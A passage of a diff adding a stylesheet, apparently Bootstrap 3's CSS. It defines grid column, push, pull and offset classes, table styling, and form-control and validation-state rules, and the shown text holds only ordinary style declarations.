+ padding-left: 15px;
+ margin-right: auto;
+ margin-left: auto;
+}
+.row {
+ margin-right: -15px;
+ margin-left: -15px;
+}
+.col-xs-1, .col-sm-1, .col-md-1, .col-lg-1, .col-xs-2, .col-sm-2, .col-md-2, .col-lg-2, .col-xs-3, .col-sm-3, .col-md-3, .col-lg-3, .col-xs-4, .col-sm-4, .col-md-4, .col-lg-4, .col-xs-5, .col-sm-5, .col-md-5, .col-lg-5, .col-xs-6, .col-sm-6, .col-md-6, .col-lg-6, .col-xs-7, .col-sm-7, .col-md-7, .col-lg-7, .col-xs-8, .col-sm-8, .col-md-8, .col-lg-8, .col-xs-9, .col-sm-9, .col-md-9, .col-lg-9, .col-xs-10, .col-sm-10, .col-md-10, .col-lg-10, .col-xs-11, .col-sm-11, .col-md-11, .col-lg-11, .col-xs-12, .col-sm-12, .col-md-12, .col-lg-12 {
+ position: relative;
+ min-height: 1px;
+ padding-right: 15px;
+ padding-left: 15px;
+}
+.col-xs-1, .col-xs-2, .col-xs-3, .col-xs-4, .col-xs-5, .col-xs-6, .col-xs-7, .col-xs-8, .col-xs-9, .col-xs-10, .col-xs-11, .col-xs-12 {
+ float: left;
+}
+.col-xs-12 {
+ width: 100%;
+}
+.col-xs-11 {
+ width: 91.66666667%;
+}
+.col-xs-10 {
+ width: 83.33333333%;
+}
+.col-xs-9 {
+ width: 75%;
+}
+.col-xs-8 {
+ width: 66.66666667%;
+}
+.col-xs-7 {
+ width: 58.33333333%;
+}
+.col-xs-6 {
+ width: 50%;
+}
+.col-xs-5 {
+ width: 41.66666667%;
+}
+.col-xs-4 {
+ width: 33.33333333%;
+}
+.col-xs-3 {
+ width: 25%;
+}
+.col-xs-2 {
+ width: 16.66666667%;
+}
+.col-xs-1 {
+ width: 8.33333333%;
+}
+.col-xs-pull-12 {
+ right: 100%;
+}
+.col-xs-pull-11 {
+ right: 91.66666667%;
+}
+.col-xs-pull-10 {
+ right: 83.33333333%;
+}
+.col-xs-pull-9 {
+ right: 75%;
+}
+.col-xs-pull-8 {
+ right: 66.66666667%;
+}
+.col-xs-pull-7 {
+ right: 58.33333333%;
+}
+.col-xs-pull-6 {
+ right: 50%;
+}
+.col-xs-pull-5 {
+ right: 41.66666667%;
+}
+.col-xs-pull-4 {
+ right: 33.33333333%;
+}
+.col-xs-pull-3 {
+ right: 25%;
+}
+.col-xs-pull-2 {
+ right: 16.66666667%;
+}
+.col-xs-pull-1 {
+ right: 8.33333333%;
+}
+.col-xs-pull-0 {
+ right: auto;
+}
+.col-xs-push-12 {
+ left: 100%;
+}
+.col-xs-push-11 {
+ left: 91.66666667%;
+}
+.col-xs-push-10 {
+ left: 83.33333333%;
+}
+.col-xs-push-9 {
+ left: 75%;
+}
+.col-xs-push-8 {
+ left: 66.66666667%;
+}
+.col-xs-push-7 {
+ left: 58.33333333%;
+}
+.col-xs-push-6 {
+ left: 50%;
+}
+.col-xs-push-5 {
+ left: 41.66666667%;
+}
+.col-xs-push-4 {
+ left: 33.33333333%;
+}
+.col-xs-push-3 {
+ left: 25%;
+}
+.col-xs-push-2 {
+ left: 16.66666667%;
+}
+.col-xs-push-1 {
+ left: 8.33333333%;
+}
+.col-xs-push-0 {
+ left: auto;
+}
+.col-xs-offset-12 {
+ margin-left: 100%;
+}
+.col-xs-offset-11 {
+ margin-left: 91.66666667%;
+}
+.col-xs-offset-10 {
+ margin-left: 83.33333333%;
+}
+.col-xs-offset-9 {
+ margin-left: 75%;
+}
+.col-xs-offset-8 {
+ margin-left: 66.66666667%;
+}
+.col-xs-offset-7 {
+ margin-left: 58.33333333%;
+}
+.col-xs-offset-6 {
+ margin-left: 50%;
+}
+.col-xs-offset-5 {
+ margin-left: 41.66666667%;
+}
+.col-xs-offset-4 {
+ margin-left: 33.33333333%;
+}
+.col-xs-offset-3 {
+ margin-left: 25%;
+}
+.col-xs-offset-2 {
+ margin-left: 16.66666667%;
+}
+.col-xs-offset-1 {
+ margin-left: 8.33333333%;
+}
+.col-xs-offset-0 {
+ margin-left: 0;
+}
+@media (min-width: 768px) {
+ .col-sm-1, .col-sm-2, .col-sm-3, .col-sm-4, .col-sm-5, .col-sm-6, .col-sm-7, .col-sm-8, .col-sm-9, .col-sm-10, .col-sm-11, .col-sm-12 {
+ float: left;
+ }
+ .col-sm-12 {
+ width: 100%;
+ }
+ .col-sm-11 {
+ width: 91.66666667%;
+ }
+ .col-sm-10 {
+ width: 83.33333333%;
+ }
+ .col-sm-9 {
+ width: 75%;
+ }
+ .col-sm-8 {
+ width: 66.66666667%;
+ }
+ .col-sm-7 {
+ width: 58.33333333%;
+ }
+ .col-sm-6 {
+ width: 50%;
+ }
+ .col-sm-5 {
+ width: 41.66666667%;
+ }
+ .col-sm-4 {
+ width: 33.33333333%;
+ }
+ .col-sm-3 {
+ width: 25%;
+ }
+ .col-sm-2 {
+ width: 16.66666667%;
+ }
+ .col-sm-1 {
+ width: 8.33333333%;
+ }
+ .col-sm-pull-12 {
+ right: 100%;
+ }
+ .col-sm-pull-11 {
+ right: 91.66666667%;
+ }
+ .col-sm-pull-10 {
+ right: 83.33333333%;
+ }
+ .col-sm-pull-9 {
+ right: 75%;
+ }
+ .col-sm-pull-8 {
+ right: 66.66666667%;
+ }
+ .col-sm-pull-7 {
+ right: 58.33333333%;
+ }
+ .col-sm-pull-6 {
+ right: 50%;
+ }
+ .col-sm-pull-5 {
+ right: 41.66666667%;
+ }
+ .col-sm-pull-4 {
+ right: 33.33333333%;
+ }
+ .col-sm-pull-3 {
+ right: 25%;
+ }
+ .col-sm-pull-2 {
+ right: 16.66666667%;
+ }
+ .col-sm-pull-1 {
+ right: 8.33333333%;
+ }
+ .col-sm-pull-0 {
+ right: auto;
+ }
+ .col-sm-push-12 {
+ left: 100%;
+ }
+ .col-sm-push-11 {
+ left: 91.66666667%;
+ }
+ .col-sm-push-10 {
+ left: 83.33333333%;
+ }
+ .col-sm-push-9 {
+ left: 75%;
+ }
+ .col-sm-push-8 {
+ left: 66.66666667%;
+ }
+ .col-sm-push-7 {
+ left: 58.33333333%;
+ }
+ .col-sm-push-6 {
+ left: 50%;
+ }
+ .col-sm-push-5 {
+ left: 41.66666667%;
+ }
+ .col-sm-push-4 {
+ left: 33.33333333%;
+ }
+ .col-sm-push-3 {
+ left: 25%;
+ }
+ .col-sm-push-2 {
+ left: 16.66666667%;
+ }
+ .col-sm-push-1 {
+ left: 8.33333333%;
+ }
+ .col-sm-push-0 {
+ left: auto;
+ }
+ .col-sm-offset-12 {
+ margin-left: 100%;
+ }
+ .col-sm-offset-11 {
+ margin-left: 91.66666667%;
+ }
+ .col-sm-offset-10 {
+ margin-left: 83.33333333%;
+ }
+ .col-sm-offset-9 {
+ margin-left: 75%;
+ }
+ .col-sm-offset-8 {
+ margin-left: 66.66666667%;
+ }
+ .col-sm-offset-7 {
+ margin-left: 58.33333333%;
+ }
+ .col-sm-offset-6 {
+ margin-left: 50%;
+ }
+ .col-sm-offset-5 {
+ margin-left: 41.66666667%;
+ }
+ .col-sm-offset-4 {
+ margin-left: 33.33333333%;
+ }
+ .col-sm-offset-3 {
+ margin-left: 25%;
+ }
+ .col-sm-offset-2 {
+ margin-left: 16.66666667%;
+ }
+ .col-sm-offset-1 {
+ margin-left: 8.33333333%;
+ }
+ .col-sm-offset-0 {
+ margin-left: 0;
+ }
+}
+@media (min-width: 992px) {
+ .col-md-1, .col-md-2, .col-md-3, .col-md-4, .col-md-5, .col-md-6, .col-md-7, .col-md-8, .col-md-9, .col-md-10, .col-md-11, .col-md-12 {
+ float: left;
+ }
+ .col-md-12 {
+ width: 100%;
+ }
+ .col-md-11 {
+ width: 91.66666667%;
+ }
+ .col-md-10 {
+ width: 83.33333333%;
+ }
+ .col-md-9 {
+ width: 75%;
+ }
+ .col-md-8 {
+ width: 66.66666667%;
+ }
+ .col-md-7 {
+ width: 58.33333333%;
+ }
+ .col-md-6 {
+ width: 50%;
+ }
+ .col-md-5 {
+ width: 41.66666667%;
+ }
+ .col-md-4 {
+ width: 33.33333333%;
+ }
+ .col-md-3 {
+ width: 25%;
+ }
+ .col-md-2 {
+ width: 16.66666667%;
+ }
+ .col-md-1 {
+ width: 8.33333333%;
+ }
+ .col-md-pull-12 {
+ right: 100%;
+ }
+ .col-md-pull-11 {
+ right: 91.66666667%;
+ }
+ .col-md-pull-10 {
+ right: 83.33333333%;
+ }
+ .col-md-pull-9 {
+ right: 75%;
+ }
+ .col-md-pull-8 {
+ right: 66.66666667%;
+ }
+ .col-md-pull-7 {
+ right: 58.33333333%;
+ }
+ .col-md-pull-6 {
+ right: 50%;
+ }
+ .col-md-pull-5 {
+ right: 41.66666667%;
+ }
+ .col-md-pull-4 {
+ right: 33.33333333%;
+ }
+ .col-md-pull-3 {
+ right: 25%;
+ }
+ .col-md-pull-2 {
+ right: 16.66666667%;
+ }
+ .col-md-pull-1 {
+ right: 8.33333333%;
+ }
+ .col-md-pull-0 {
+ right: auto;
+ }
+ .col-md-push-12 {
+ left: 100%;
+ }
+ .col-md-push-11 {
+ left: 91.66666667%;
+ }
+ .col-md-push-10 {
+ left: 83.33333333%;
+ }
+ .col-md-push-9 {
+ left: 75%;
+ }
+ .col-md-push-8 {
+ left: 66.66666667%;
+ }
+ .col-md-push-7 {
+ left: 58.33333333%;
+ }
+ .col-md-push-6 {
+ left: 50%;
+ }
+ .col-md-push-5 {
+ left: 41.66666667%;
+ }
+ .col-md-push-4 {
+ left: 33.33333333%;
+ }
+ .col-md-push-3 {
+ left: 25%;
+ }
+ .col-md-push-2 {
+ left: 16.66666667%;
+ }
+ .col-md-push-1 {
+ left: 8.33333333%;
+ }
+ .col-md-push-0 {
+ left: auto;
+ }
+ .col-md-offset-12 {
+ margin-left: 100%;
+ }
+ .col-md-offset-11 {
+ margin-left: 91.66666667%;
+ }
+ .col-md-offset-10 {
+ margin-left: 83.33333333%;
+ }
+ .col-md-offset-9 {
+ margin-left: 75%;
+ }
+ .col-md-offset-8 {
+ margin-left: 66.66666667%;
+ }
+ .col-md-offset-7 {
+ margin-left: 58.33333333%;
+ }
+ .col-md-offset-6 {
+ margin-left: 50%;
+ }
+ .col-md-offset-5 {
+ margin-left: 41.66666667%;
+ }
+ .col-md-offset-4 {
+ margin-left: 33.33333333%;
+ }
+ .col-md-offset-3 {
+ margin-left: 25%;
+ }
+ .col-md-offset-2 {
+ margin-left: 16.66666667%;
+ }
+ .col-md-offset-1 {
+ margin-left: 8.33333333%;
+ }
+ .col-md-offset-0 {
+ margin-left: 0;
+ }
+}
+@media (min-width: 1200px) {
+ .col-lg-1, .col-lg-2, .col-lg-3, .col-lg-4, .col-lg-5, .col-lg-6, .col-lg-7, .col-lg-8, .col-lg-9, .col-lg-10, .col-lg-11, .col-lg-12 {
+ float: left;
+ }
+ .col-lg-12 {
+ width: 100%;
+ }
+ .col-lg-11 {
+ width: 91.66666667%;
+ }
+ .col-lg-10 {
+ width: 83.33333333%;
+ }
+ .col-lg-9 {
+ width: 75%;
+ }
+ .col-lg-8 {
+ width: 66.66666667%;
+ }
+ .col-lg-7 {
+ width: 58.33333333%;
+ }
+ .col-lg-6 {
+ width: 50%;
+ }
+ .col-lg-5 {
+ width: 41.66666667%;
+ }
+ .col-lg-4 {
+ width: 33.33333333%;
+ }
+ .col-lg-3 {
+ width: 25%;
+ }
+ .col-lg-2 {
+ width: 16.66666667%;
+ }
+ .col-lg-1 {
+ width: 8.33333333%;
+ }
+ .col-lg-pull-12 {
+ right: 100%;
+ }
+ .col-lg-pull-11 {
+ right: 91.66666667%;
+ }
+ .col-lg-pull-10 {
+ right: 83.33333333%;
+ }
+ .col-lg-pull-9 {
+ right: 75%;
+ }
+ .col-lg-pull-8 {
+ right: 66.66666667%;
+ }
+ .col-lg-pull-7 {
+ right: 58.33333333%;
+ }
+ .col-lg-pull-6 {
+ right: 50%;
+ }
+ .col-lg-pull-5 {
+ right: 41.66666667%;
+ }
+ .col-lg-pull-4 {
+ right: 33.33333333%;
+ }
+ .col-lg-pull-3 {
+ right: 25%;
+ }
+ .col-lg-pull-2 {
+ right: 16.66666667%;
+ }
+ .col-lg-pull-1 {
+ right: 8.33333333%;
+ }
+ .col-lg-pull-0 {
+ right: auto;
+ }
+ .col-lg-push-12 {
+ left: 100%;
+ }
+ .col-lg-push-11 {
+ left: 91.66666667%;
+ }
+ .col-lg-push-10 {
+ left: 83.33333333%;
+ }
+ .col-lg-push-9 {
+ left: 75%;
+ }
+ .col-lg-push-8 {
+ left: 66.66666667%;
+ }
+ .col-lg-push-7 {
+ left: 58.33333333%;
+ }
+ .col-lg-push-6 {
+ left: 50%;
+ }
+ .col-lg-push-5 {
+ left: 41.66666667%;
+ }
+ .col-lg-push-4 {
+ left: 33.33333333%;
+ }
+ .col-lg-push-3 {
+ left: 25%;
+ }
+ .col-lg-push-2 {
+ left: 16.66666667%;
+ }
+ .col-lg-push-1 {
+ left: 8.33333333%;
+ }
+ .col-lg-push-0 {
+ left: auto;
+ }
+ .col-lg-offset-12 {
+ margin-left: 100%;
+ }
+ .col-lg-offset-11 {
+ margin-left: 91.66666667%;
+ }
+ .col-lg-offset-10 {
+ margin-left: 83.33333333%;
+ }
+ .col-lg-offset-9 {
+ margin-left: 75%;
+ }
+ .col-lg-offset-8 {
+ margin-left: 66.66666667%;
+ }
+ .col-lg-offset-7 {
+ margin-left: 58.33333333%;
+ }
+ .col-lg-offset-6 {
+ margin-left: 50%;
+ }
+ .col-lg-offset-5 {
+ margin-left: 41.66666667%;
+ }
+ .col-lg-offset-4 {
+ margin-left: 33.33333333%;
+ }
+ .col-lg-offset-3 {
+ margin-left: 25%;
+ }
+ .col-lg-offset-2 {
+ margin-left: 16.66666667%;
+ }
+ .col-lg-offset-1 {
+ margin-left: 8.33333333%;
+ }
+ .col-lg-offset-0 {
+ margin-left: 0;
+ }
+}
+table {
+ background-color: transparent;
+}
+caption {
+ padding-top: 8px;
+ padding-bottom: 8px;
+ color: #777;
+ text-align: left;
+}
+th {
+ text-align: left;
+}
+.table {
+ width: 100%;
+ max-width: 100%;
+ margin-bottom: 20px;
+}
+.table > thead > tr > th,
+.table > tbody > tr > th,
+.table > tfoot > tr > th,
+.table > thead > tr > td,
+.table > tbody > tr > td,
+.table > tfoot > tr > td {
+ padding: 8px;
+ line-height: 1.42857143;
+ vertical-align: top;
+ border-top: 1px solid #ddd;
+}
+.table > thead > tr > th {
+ vertical-align: bottom;
+ border-bottom: 2px solid #ddd;
+}
+.table > caption + thead > tr:first-child > th,
+.table > colgroup + thead > tr:first-child > th,
+.table > thead:first-child > tr:first-child > th,
+.table > caption + thead > tr:first-child > td,
+.table > colgroup + thead > tr:first-child > td,
+.table > thead:first-child > tr:first-child > td {
+ border-top: 0;
+}
+.table > tbody + tbody {
+ border-top: 2px solid #ddd;
+}
+.table .table {
+ background-color: #fff;
+}
+.table-condensed > thead > tr > th,
+.table-condensed > tbody > tr > th,
+.table-condensed > tfoot > tr > th,
+.table-condensed > thead > tr > td,
+.table-condensed > tbody > tr > td,
+.table-condensed > tfoot > tr > td {
+ padding: 5px;
+}
+.table-bordered {
+ border: 1px solid #ddd;
+}
+.table-bordered > thead > tr > th,
+.table-bordered > tbody > tr > th,
+.table-bordered > tfoot > tr > th,
+.table-bordered > thead > tr > td,
+.table-bordered > tbody > tr > td,
+.table-bordered > tfoot > tr > td {
+ border: 1px solid #ddd;
+}
+.table-bordered > thead > tr > th,
+.table-bordered > thead > tr > td {
+ border-bottom-width: 2px;
+}
+.table-striped > tbody > tr:nth-of-type(odd) {
+ background-color: #f9f9f9;
+}
+.table-hover > tbody > tr:hover {
+ background-color: #f5f5f5;
+}
+table col[class*="col-"] {
+ position: static;
+ display: table-column;
+ float: none;
+}
+table td[class*="col-"],
+table th[class*="col-"] {
+ position: static;
+ display: table-cell;
+ float: none;
+}
+.table > thead > tr > td.active,
+.table > tbody > tr > td.active,
+.table > tfoot > tr > td.active,
+.table > thead > tr > th.active,
+.table > tbody > tr > th.active,
+.table > tfoot > tr > th.active,
+.table > thead > tr.active > td,
+.table > tbody > tr.active > td,
+.table > tfoot > tr.active > td,
+.table > thead > tr.active > th,
+.table > tbody > tr.active > th,
+.table > tfoot > tr.active > th {
+ background-color: #f5f5f5;
+}
+.table-hover > tbody > tr > td.active:hover,
+.table-hover > tbody > tr > th.active:hover,
+.table-hover > tbody > tr.active:hover > td,
+.table-hover > tbody > tr:hover > .active,
+.table-hover > tbody > tr.active:hover > th {
+ background-color: #e8e8e8;
+}
+.table > thead > tr > td.success,
+.table > tbody > tr > td.success,
+.table > tfoot > tr > td.success,
+.table > thead > tr > th.success,
+.table > tbody > tr > th.success,
+.table > tfoot > tr > th.success,
+.table > thead > tr.success > td,
+.table > tbody > tr.success > td,
+.table > tfoot > tr.success > td,
+.table > thead > tr.success > th,
+.table > tbody > tr.success > th,
+.table > tfoot > tr.success > th {
+ background-color: #dff0d8;
+}
+.table-hover > tbody > tr > td.success:hover,
+.table-hover > tbody > tr > th.success:hover,
+.table-hover > tbody > tr.success:hover > td,
+.table-hover > tbody > tr:hover > .success,
+.table-hover > tbody > tr.success:hover > th {
+ background-color: #d0e9c6;
+}
+.table > thead > tr > td.info,
+.table > tbody > tr > td.info,
+.table > tfoot > tr > td.info,
+.table > thead > tr > th.info,
+.table > tbody > tr > th.info,
+.table > tfoot > tr > th.info,
+.table > thead > tr.info > td,
+.table > tbody > tr.info > td,
+.table > tfoot > tr.info > td,
+.table > thead > tr.info > th,
+.table > tbody > tr.info > th,
+.table > tfoot > tr.info > th {
+ background-color: #d9edf7;
+}
+.table-hover > tbody > tr > td.info:hover,
+.table-hover > tbody > tr > th.info:hover,
+.table-hover > tbody > tr.info:hover > td,
+.table-hover > tbody > tr:hover > .info,
+.table-hover > tbody > tr.info:hover > th {
+ background-color: #c4e3f3;
+}
+.table > thead > tr > td.warning,
+.table > tbody > tr > td.warning,
+.table > tfoot > tr > td.warning,
+.table > thead > tr > th.warning,
+.table > tbody > tr > th.warning,
+.table > tfoot > tr > th.warning,
+.table > thead > tr.warning > td,
+.table > tbody > tr.warning > td,
+.table > tfoot > tr.warning > td,
+.table > thead > tr.warning > th,
+.table > tbody > tr.warning > th,
+.table > tfoot > tr.warning > th {
+ background-color: #fcf8e3;
+}
+.table-hover > tbody > tr > td.warning:hover,
+.table-hover > tbody > tr > th.warning:hover,
+.table-hover > tbody > tr.warning:hover > td,
+.table-hover > tbody > tr:hover > .warning,
+.table-hover > tbody > tr.warning:hover > th {
+ background-color: #faf2cc;
+}
+.table > thead > tr > td.danger,
+.table > tbody > tr > td.danger,
+.table > tfoot > tr > td.danger,
+.table > thead > tr > th.danger,
+.table > tbody > tr > th.danger,
+.table > tfoot > tr > th.danger,
+.table > thead > tr.danger > td,
+.table > tbody > tr.danger > td,
+.table > tfoot > tr.danger > td,
+.table > thead > tr.danger > th,
+.table > tbody > tr.danger > th,
+.table > tfoot > tr.danger > th {
+ background-color: #f2dede;
+}
+.table-hover > tbody > tr > td.danger:hover,
+.table-hover > tbody > tr > th.danger:hover,
+.table-hover > tbody > tr.danger:hover > td,
+.table-hover > tbody > tr:hover > .danger,
+.table-hover > tbody > tr.danger:hover > th {
+ background-color: #ebcccc;
+}
+.table-responsive {
+ min-height: .01%;
+ overflow-x: auto;
+}
+@media screen and (max-width: 767px) {
+ .table-responsive {
+ width: 100%;
+ margin-bottom: 15px;
+ overflow-y: hidden;
+ -ms-overflow-style: -ms-autohiding-scrollbar;
+ border: 1px solid #ddd;
+ }
+ .table-responsive > .table {
+ margin-bottom: 0;
+ }
+ .table-responsive > .table > thead > tr > th,
+ .table-responsive > .table > tbody > tr > th,
+ .table-responsive > .table > tfoot > tr > th,
+ .table-responsive > .table > thead > tr > td,
+ .table-responsive > .table > tbody > tr > td,
+ .table-responsive > .table > tfoot > tr > td {
+ white-space: nowrap;
+ }
+ .table-responsive > .table-bordered {
+ border: 0;
+ }
+ .table-responsive > .table-bordered > thead > tr > th:first-child,
+ .table-responsive > .table-bordered > tbody > tr > th:first-child,
+ .table-responsive > .table-bordered > tfoot > tr > th:first-child,
+ .table-responsive > .table-bordered > thead > tr > td:first-child,
+ .table-responsive > .table-bordered > tbody > tr > td:first-child,
+ .table-responsive > .table-bordered > tfoot > tr > td:first-child {
+ border-left: 0;
+ }
+ .table-responsive > .table-bordered > thead > tr > th:last-child,
+ .table-responsive > .table-bordered > tbody > tr > th:last-child,
+ .table-responsive > .table-bordered > tfoot > tr > th:last-child,
+ .table-responsive > .table-bordered > thead > tr > td:last-child,
+ .table-responsive > .table-bordered > tbody > tr > td:last-child,
+ .table-responsive > .table-bordered > tfoot > tr > td:last-child {
+ border-right: 0;
+ }
+ .table-responsive > .table-bordered > tbody > tr:last-child > th,
+ .table-responsive > .table-bordered > tfoot > tr:last-child > th,
+ .table-responsive > .table-bordered > tbody > tr:last-child > td,
+ .table-responsive > .table-bordered > tfoot > tr:last-child > td {
+ border-bottom: 0;
+ }
+}
+fieldset {
+ min-width: 0;
+ padding: 0;
+ margin: 0;
+ border: 0;
+}
+legend {
+ display: block;
+ width: 100%;
+ padding: 0;
+ margin-bottom: 20px;
+ font-size: 21px;
+ line-height: inherit;
+ color: #333;
+ border: 0;
+ border-bottom: 1px solid #e5e5e5;
+}
+label {
+ display: inline-block;
+ max-width: 100%;
+ margin-bottom: 5px;
+ font-weight: bold;
+}
+input[type="search"] {
+ -webkit-box-sizing: border-box;
+ -moz-box-sizing: border-box;
+ box-sizing: border-box;
+}
+input[type="radio"],
+input[type="checkbox"] {
+ margin: 4px 0 0;
+ margin-top: 1px \9;
+ line-height: normal;
+}
+input[type="file"] {
+ display: block;
+}
+input[type="range"] {
+ display: block;
+ width: 100%;
+}
+select[multiple],
+select[size] {
+ height: auto;
+}
+input[type="file"]:focus,
+input[type="radio"]:focus,
+input[type="checkbox"]:focus {
+ outline: thin dotted;
+ outline: 5px auto -webkit-focus-ring-color;
+ outline-offset: -2px;
+}
+output {
+ display: block;
+ padding-top: 7px;
+ font-size: 14px;
+ line-height: 1.42857143;
+ color: #555;
+}
+.form-control {
+ display: block;
+ width: 100%;
+ height: 34px;
+ padding: 6px 12px;
+ font-size: 14px;
+ line-height: 1.42857143;
+ color: #555;
+ background-color: #fff;
+ background-image: none;
+ border: 1px solid #ccc;
+ border-radius: 4px;
+ -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075);
+ box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075);
+ -webkit-transition: border-color ease-in-out .15s, -webkit-box-shadow ease-in-out .15s;
+ -o-transition: border-color ease-in-out .15s, box-shadow ease-in-out .15s;
+ transition: border-color ease-in-out .15s, box-shadow ease-in-out .15s;
+}
+.form-control:focus {
+ border-color: #66afe9;
+ outline: 0;
+ -webkit-box-shadow: inset 0 1px 1px rgba(0,0,0,.075), 0 0 8px rgba(102, 175, 233, .6);
+ box-shadow: inset 0 1px 1px rgba(0,0,0,.075), 0 0 8px rgba(102, 175, 233, .6);
+}
+.form-control::-moz-placeholder {
+ color: #999;
+ opacity: 1;
+}
+.form-control:-ms-input-placeholder {
+ color: #999;
+}
+.form-control::-webkit-input-placeholder {
+ color: #999;
+}
+.form-control[disabled],
+.form-control[readonly],
+fieldset[disabled] .form-control {
+ background-color: #eee;
+ opacity: 1;
+}
+.form-control[disabled],
+fieldset[disabled] .form-control {
+ cursor: not-allowed;
+}
+textarea.form-control {
+ height: auto;
+}
+input[type="search"] {
+ -webkit-appearance: none;
+}
+@media screen and (-webkit-min-device-pixel-ratio: 0) {
+ input[type="date"].form-control,
+ input[type="time"].form-control,
+ input[type="datetime-local"].form-control,
+ input[type="month"].form-control {
+ line-height: 34px;
+ }
+ input[type="date"].input-sm,
+ input[type="time"].input-sm,
+ input[type="datetime-local"].input-sm,
+ input[type="month"].input-sm,
+ .input-group-sm input[type="date"],
+ .input-group-sm input[type="time"],
+ .input-group-sm input[type="datetime-local"],
+ .input-group-sm input[type="month"] {
+ line-height: 30px;
+ }
+ input[type="date"].input-lg,
+ input[type="time"].input-lg,
+ input[type="datetime-local"].input-lg,
+ input[type="month"].input-lg,
+ .input-group-lg input[type="date"],
+ .input-group-lg input[type="time"],
+ .input-group-lg input[type="datetime-local"],
+ .input-group-lg input[type="month"] {
+ line-height: 46px;
+ }
+}
+.form-group {
+ margin-bottom: 15px;
+}
+.radio,
+.checkbox {
+ position: relative;
+ display: block;
+ margin-top: 10px;
+ margin-bottom: 10px;
+}
+.radio label,
+.checkbox label {
+ min-height: 20px;
+ padding-left: 20px;
+ margin-bottom: 0;
+ font-weight: normal;
+ cursor: pointer;
+}
+.radio input[type="radio"],
+.radio-inline input[type="radio"],
+.checkbox input[type="checkbox"],
+.checkbox-inline input[type="checkbox"] {
+ position: absolute;
+ margin-top: 4px \9;
+ margin-left: -20px;
+}
+.radio + .radio,
+.checkbox + .checkbox {
+ margin-top: -5px;
+}
+.radio-inline,
+.checkbox-inline {
+ position: relative;
+ display: inline-block;
+ padding-left: 20px;
+ margin-bottom: 0;
+ font-weight: normal;
+ vertical-align: middle;
+ cursor: pointer;
+}
+.radio-inline + .radio-inline,
+.checkbox-inline + .checkbox-inline {
+ margin-top: 0;
+ margin-left: 10px;
+}
+input[type="radio"][disabled],
+input[type="checkbox"][disabled],
+input[type="radio"].disabled,
+input[type="checkbox"].disabled,
+fieldset[disabled] input[type="radio"],
+fieldset[disabled] input[type="checkbox"] {
+ cursor: not-allowed;
+}
+.radio-inline.disabled,
+.checkbox-inline.disabled,
+fieldset[disabled] .radio-inline,
+fieldset[disabled] .checkbox-inline {
+ cursor: not-allowed;
+}
+.radio.disabled label,
+.checkbox.disabled label,
+fieldset[disabled] .radio label,
+fieldset[disabled] .checkbox label {
+ cursor: not-allowed;
+}
+.form-control-static {
+ min-height: 34px;
+ padding-top: 7px;
+ padding-bottom: 7px;
+ margin-bottom: 0;
+}
+.form-control-static.input-lg,
+.form-control-static.input-sm {
+ padding-right: 0;
+ padding-left: 0;
+}
+.input-sm {
+ height: 30px;
+ padding: 5px 10px;
+ font-size: 12px;
+ line-height: 1.5;
+ border-radius: 3px;
+}
+select.input-sm {
+ height: 30px;
+ line-height: 30px;
+}
+textarea.input-sm,
+select[multiple].input-sm {
+ height: auto;
+}
+.form-group-sm .form-control {
+ height: 30px;
+ padding: 5px 10px;
+ font-size: 12px;
+ line-height: 1.5;
+ border-radius: 3px;
+}
+.form-group-sm select.form-control {
+ height: 30px;
+ line-height: 30px;
+}
+.form-group-sm textarea.form-control,
+.form-group-sm select[multiple].form-control {
+ height: auto;
+}
+.form-group-sm .form-control-static {
+ height: 30px;
+ min-height: 32px;
+ padding: 6px 10px;
+ font-size: 12px;
+ line-height: 1.5;
+}
+.input-lg {
+ height: 46px;
+ padding: 10px 16px;
+ font-size: 18px;
+ line-height: 1.3333333;
+ border-radius: 6px;
+}
+select.input-lg {
+ height: 46px;
+ line-height: 46px;
+}
+textarea.input-lg,
+select[multiple].input-lg {
+ height: auto;
+}
+.form-group-lg .form-control {
+ height: 46px;
+ padding: 10px 16px;
+ font-size: 18px;
+ line-height: 1.3333333;
+ border-radius: 6px;
+}
+.form-group-lg select.form-control {
+ height: 46px;
+ line-height: 46px;
+}
+.form-group-lg textarea.form-control,
+.form-group-lg select[multiple].form-control {
+ height: auto;
+}
+.form-group-lg .form-control-static {
+ height: 46px;
+ min-height: 38px;
+ padding: 11px 16px;
+ font-size: 18px;
+ line-height: 1.3333333;
+}
+.has-feedback {
+ position: relative;
+}
+.has-feedback .form-control {
+ padding-right: 42.5px;
+}
+.form-control-feedback {
+ position: absolute;
+ top: 0;
+ right: 0;
+ z-index: 2;
+ display: block;
+ width: 34px;
+ height: 34px;
+ line-height: 34px;
+ text-align: center;
+ pointer-events: none;
+}
+.input-lg + .form-control-feedback,
+.input-group-lg + .form-control-feedback,
+.form-group-lg .form-control + .form-control-feedback {
+ width: 46px;
+ height: 46px;
+ line-height: 46px;
+}
+.input-sm + .form-control-feedback,
+.input-group-sm + .form-control-feedback,
+.form-group-sm .form-control + .form-control-feedback {
+ width: 30px;
+ height: 30px;
+ line-height: 30px;
+}
+.has-success .help-block,
+.has-success .control-label,
+.has-success .radio,
+.has-success .checkbox,
+.has-success .radio-inline,
+.has-success .checkbox-inline,
+.has-success.radio label,
+.has-success.checkbox label,
+.has-success.radio-inline label,
+.has-success.checkbox-inline label {
+ color: #3c763d;
+}
+.has-success .form-control {
+ border-color: #3c763d;
+ -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075);
+ box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075);
+}
+.has-success .form-control:focus {
+ border-color: #2b542c;
+ -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075), 0 0 6px #67b168;
+ box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075), 0 0 6px #67b168;
+}
+.has-success .input-group-addon {
+ color: #3c763d;
+ background-color: #dff0d8;
+ border-color: #3c763d;
+}
+.has-success .form-control-feedback {
+ color: #3c763d;
+}
+.has-warning .help-block,
+.has-warning .control-label,
+.has-warning .radio,
+.has-warning .checkbox,
+.has-warning .radio-inline,
+.has-warning .checkbox-inline,
+.has-warning.radio label,
+.has-warning.checkbox label,
+.has-warning.radio-inline label,
+.has-warning.checkbox-inline label {
+ color: #8a6d3b;
+}
+.has-warning .form-control {
+ border-color: #8a6d3b;
+ -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075);
+ box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075);
+}
+.has-warning .form-control:focus {
+ border-color: #66512c;
+ -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075), 0 0 6px #c0a16b;
